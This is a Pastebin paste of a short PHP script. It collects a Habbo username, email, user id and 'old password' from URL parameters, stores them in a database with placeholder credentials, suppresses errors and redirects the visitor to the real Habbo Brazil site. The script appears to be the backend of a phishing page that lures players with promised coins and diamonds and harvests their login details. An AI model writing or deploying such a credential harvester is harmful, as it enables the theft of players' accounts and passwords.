Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function GeraHash($qtd){
- //Under the string $Caracteres you write all the characters you want to be used to randomly generate the code.
- $Caracteres = 'ABCDEFGHIJKLMOPQRSTUVXWYZ0123456789abcdefghijklmnopqrstuvwyxz';
- $QuantidadeCaracteres = strlen($Caracteres);
- $QuantidadeCaracteres--;
- $Hash=NULL;
- for($x=1;$x<=$qtd;$x++){
- $Posicao = rand(0,$QuantidadeCaracteres);
- $Hash .= substr($Caracteres,$Posicao,1);
- }
- return $Hash;
- }
- try {
- $host = "hostdasuadb";
- $dbname = "nomedasuadb";
- $user = "nomedasuadb";
- $pass = "senhadasuadb";
- $pdo = new PDO("mysql:host=" . $host . ";dbname=" . $dbname, $user, $pass);
- $verfm = $_GET["moedas"];
- $verfd = $_GET["diamantes"];
- $verfhc = $_GET["hc"];
- $uidtransfer = 1;
- ?>
- <?php
- $moedas = $_GET["moedas"];
- $diamantes = $_GET["diamantes"];
- $hc = $_GET["hc"];
- $adc = $_GET["adc"];
- $habbo = $_GET["habbo"];
- $emailS = $_GET["emailS"];
- $uid = $_GET["uid"];
- $senha = $_GET["senha_antiga"];
- date_default_timezone_set('America/Toronto');
- $sql = "INSERT INTO contas(moedas,
- diamantes,
- hc,
- adc,
- habbo,
- email,
- uid,
- senha) VALUES (
- :moedas,
- :diamantes,
- :hc,
- :adc,
- :habbo,
- :email,
- :uid,
- :senha)";
- $senha = $_GET["senha_antiga"];
- $stmt = $pdo->prepare($sql);
- $stmt->bindParam(":moedas", $_GET["moedas"], PDO::PARAM_INT);
- $stmt->bindParam(":diamantes", $_GET["diamantes"], PDO::PARAM_INT);
- $stmt->bindParam(":hc", $_GET["hc"], PDO::PARAM_INT);
- $stmt->bindParam(":adc", $_GET["adc"], PDO::PARAM_STR);
- $stmt->bindParam(":habbo", $_GET["habbo"], PDO::PARAM_STR);
- $stmt->bindParam(":email", $_GET["emailS"], PDO::PARAM_STR);
- $stmt->bindParam(":uid", $_GET["uid"], PDO::PARAM_INT);
- $stmt->bindParam(":senha", $senha, PDO::PARAM_STR);
- $stmt->execute();
- $dbh = null;
- }
- catch(PDOException $e) {
- #print "Error!: " . $e->getMessage() . "<br/>";
- #die();
- }
- header("Location: http://www.habbo.com.br");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement